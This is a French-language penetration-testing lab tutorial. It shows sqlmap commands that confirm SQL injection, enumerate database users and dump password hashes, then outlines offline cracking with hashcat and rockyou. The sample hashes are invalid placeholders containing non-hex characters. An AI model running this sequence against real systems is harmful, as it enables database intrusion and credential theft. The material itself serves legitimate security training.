Introduction
Dans ce laboratoire, vous explorerez les capacités de sqlmap, un outil open-source de test d'intrusion qui automatise le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de bases de données. Plus précisément, vous apprendrez à énumérer les utilisateurs de la base de données et à tenter d'extraire les hachages de mots de passe d'une base de données cible. C'est une étape cruciale dans de nombreux tests d'intrusion, car l'accès aux identifiants des utilisateurs peut conduire à une compromission ultérieure des systèmes. Vous utiliserez une application web vulnérable simulée pour pratiquer ces techniques dans un environnement contrôlé.
Obtenir un point d'ancrage et confirmer les privilèges suffisants
Dans cette étape, vous commencerez par identifier une vulnérabilité potentielle d'injection SQL et confirmerez que sqlmap peut interagir avec succès avec la base de données cible. Cette vérification initiale est essentielle pour vous assurer que vous avez un "point d'ancrage" et que l'utilisateur actuel dispose de privilèges suffisants pour effectuer une énumération plus poussée.
Tout d'abord, ouvrez votre terminal. Le répertoire de travail par défaut est /home/labex/project.
Nous utiliserons une URL fictive pour une application web vulnérable. Dans un scénario réel, vous auriez identifié cette URL par la reconnaissance et la numérisation des vulnérabilités. Pour ce laboratoire, supposons que notre cible est http://example.com/vulnerable.php?id=1.
Exécutez la commande sqlmap suivante pour tester l'injection SQL et collecter des informations de base sur la base de données. L'indicateur -u spécifie l'URL cible, et --current-user tente de récupérer l'utilisateur actuel de la base de données.
sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user
Vous verrez une sortie similaire à celle-ci, indiquant que sqlmap teste divers points d'injection et confirme l'utilisateur actuel :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (divers tests et informations) ...
[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'
La sortie current user: 'root@localhost' indique que sqlmap a identifié avec succès l'utilisateur actuel de la base de données. C'est un bon signe, car root dispose généralement de privilèges élevés, ce qui sera nécessaire pour extraire les utilisateurs et les hachages.
Utiliser l'indicateur --users pour lister tous les utilisateurs de la base de données
Dans cette étape, vous utiliserez l'indicateur --users dans sqlmap pour énumérer tous les utilisateurs de la base de données. C'est une étape courante après avoir confirmé une vulnérabilité d'injection SQL et des privilèges suffisants. Connaître les utilisateurs de la base de données peut fournir des informations précieuses pour des attaques ultérieures ou pour comprendre la structure de la base de données.
Continuez dans votre terminal.
Exécutez la commande sqlmap suivante. L'indicateur --users indique à sqlmap de lister tous les utilisateurs de la base de données.
sqlmap -u "http://example.com/vulnerable.php?id=1" --users
sqlmap effectuera ses tests, puis tentera de récupérer la liste des utilisateurs de la base de données. Vous devriez voir une sortie similaire à celle-ci :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (divers tests et informations) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] retrieved 3 database user(s)
Cette sortie montre que sqlmap a réussi à énumérer trois utilisateurs de la base de données : root@localhost, admin@localhost et webuser@localhost. Ces informations sont cruciales pour l'étape suivante, où vous tenterez d'extraire leurs hachages de mots de passe.
Utiliser l'indicateur --passwords pour tenter d'extraire les hachages de mots de passe
Dans cette étape, vous allez intensifier votre attaque en tentant d'extraire les hachages de mots de passe associés aux utilisateurs de la base de données énumérés. C'est souvent l'objectif ultime d'une attaque par injection SQL, car ces hachages peuvent ensuite être décryptés hors ligne pour obtenir les mots de passe en clair.
Continuez dans votre terminal.
Exécutez la commande sqlmap suivante. L'indicateur --passwords demande à sqlmap de récupérer les hachages de mots de passe pour tous les utilisateurs de la base de données.
sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords
sqlmap va maintenant tenter d'extraire les hachages de mots de passe. Le processus peut prendre un certain temps en fonction de la taille et de la complexité de la base de données. Vous devriez voir une sortie similaire à celle-ci, montrant les utilisateurs récupérés et leurs hachages de mots de passe correspondants :
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (divers tests et informations) ...
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
La sortie affiche les noms d'utilisateur et leurs hachages de mots de passe associés. Ces hachages sont généralement stockés dans un format spécifique au système de gestion de base de données (par exemple, les hachages préfixés par * de MySQL, ou divers autres algorithmes de hachage). Ces hachages sont maintenant prêts pour le décryptage hors ligne.
Exécuter l'énumération et analyser les résultats
Dans cette étape, vous combinerez les commandes précédentes pour effectuer une énumération complète des utilisateurs et de leurs hachages de mots de passe en une seule exécution de sqlmap. C'est une manière plus efficace de collecter toutes les informations souhaitées. Vous analyserez également la sortie pour comprendre la structure des données récupérées.
Continuez dans votre terminal.
Exécutez la commande sqlmap suivante, en combinant les indicateurs --users et --passwords :
sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords
sqlmap exécutera son processus, d'abord en énumérant les utilisateurs, puis en tentant de récupérer leurs hachages de mots de passe. La sortie consolidera les informations, de manière similaire à ce que vous avez vu dans les étapes précédentes, mais présentées ensemble.
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (divers tests et informations) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
Analysez les résultats :
- Utilisateurs : Vous pouvez clairement voir la liste des utilisateurs de la base de données.
- Hachages : Chaque utilisateur est associé à un hachage de mot de passe. Le format de ces hachages dépend du système de gestion de base de données et de sa configuration. Par exemple, les hachages MySQL commencent souvent par un astérisque (
*).
Cette commande combinée est efficace pour collecter les deux informations en une seule fois.
Discussion des prochaines étapes pour le décryptage hors ligne des mots de passe avec les hachages
Dans cette dernière étape, vous comprendrez les implications d'une extraction réussie des hachages de mots de passe et discuterez des prochaines étapes logiques : le décryptage hors ligne des mots de passe. Bien que sqlmap vous aide à récupérer les hachages, il ne les décrypte pas. Ceci est généralement effectué à l'aide d'outils spécialisés.
Vous avez réussi à récupérer des hachages de mots de passe tels que :
*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4(pourroot@localhost)*B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3(pouradmin@localhost)*C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4(pourwebuser@localhost)
Ces hachages ne sont pas les mots de passe réels, mais une représentation cryptographique de ceux-ci. Pour obtenir les mots de passe en clair, vous utiliseriez généralement des outils comme Hashcat ou John the Ripper.
Processus de décryptage hors ligne des mots de passe :
- Identifier le type de hachage : La première étape consiste à identifier le type de hachage.
sqlmapfournit souvent des indices (par exemple, "MySQL password hash"). Des outils commeHashcatont des modes pour divers types de hachages. - Sauvegarder les hachages : Sauvegardez les hachages récupérés dans un fichier, avec un hachage par ligne. Par exemple, vous pourriez créer un fichier nommé
hashes.txtdans votre répertoire~/project:*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 - Choisir un outil de décryptage :
- Hashcat : Un outil de décryptage de mots de passe puissant et rapide, souvent utilisé avec des GPU.
- John the Ripper (JtR) : Un autre outil de décryptage de mots de passe populaire et polyvalent.
- Sélectionner la méthode de décryptage :
- Attaque par dictionnaire : Utilisez une liste de mots de passe courants (un fichier de mots) et hachez chaque mot, en le comparant aux hachages cibles.
- Attaque par force brute : Essayez systématiquement toutes les combinaisons de caractères possibles jusqu'à ce qu'une correspondance soit trouvée. Ceci est très long pour les mots de passe longs ou complexes.
- Attaque hybride : Combinez les méthodes dictionnaire et force brute.
- Exécuter le décryptage : Lancez l'outil choisi avec le fichier de hachages et la méthode de décryptage sélectionnée. Par exemple, en utilisant
Hashcatpour les hachages MySQL (mode300) :
(Note :## This command is for illustrative purposes and will not be executed in this lab. ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --forcerockyou.txtest un fichier de mots courant, souvent trouvé dans/usr/share/wordlists/sur Kali Linux ou des distributions similaires. Il pourrait nécessiter d'être décompressé.)
Un décryptage réussi révélera les mots de passe en clair, qui pourront ensuite être utilisés pour obtenir un accès supplémentaire à la base de données ou à d'autres systèmes où ces identifiants pourraient être réutilisés. Cela souligne l'importance de mots de passe forts et uniques, ainsi que d'algorithmes de hachage appropriés pour la sécurité.
Résumé
Dans ce laboratoire, vous avez appris avec succès à utiliser sqlmap pour énumérer les utilisateurs de la base de données et extraire leurs hachages de mots de passe à partir d'une application web vulnérable simulée. Vous avez commencé par obtenir un point d'entrée et confirmer des privilèges suffisants, puis vous avez listé tous les utilisateurs de la base de données en utilisant l'indicateur --users, et enfin vous avez tenté d'extraire les hachages de mots de passe en utilisant l'indicateur --passwords. Vous avez également appris à combiner ces opérations pour plus d'efficacité et à analyser la sortie.
Comprendre comment extraire ces informations sensibles est une compétence essentielle en test d'intrusion. Les hachages de mots de passe récupérés sont la clé de la prochaine phase : le décryptage hors ligne des mots de passe, qui peut révéler les identifiants en clair et potentiellement conduire à une compromission plus profonde du système. Ce laboratoire a fourni une expérience pratique avec un outil puissant dans l'arsenal du piratage éthique.


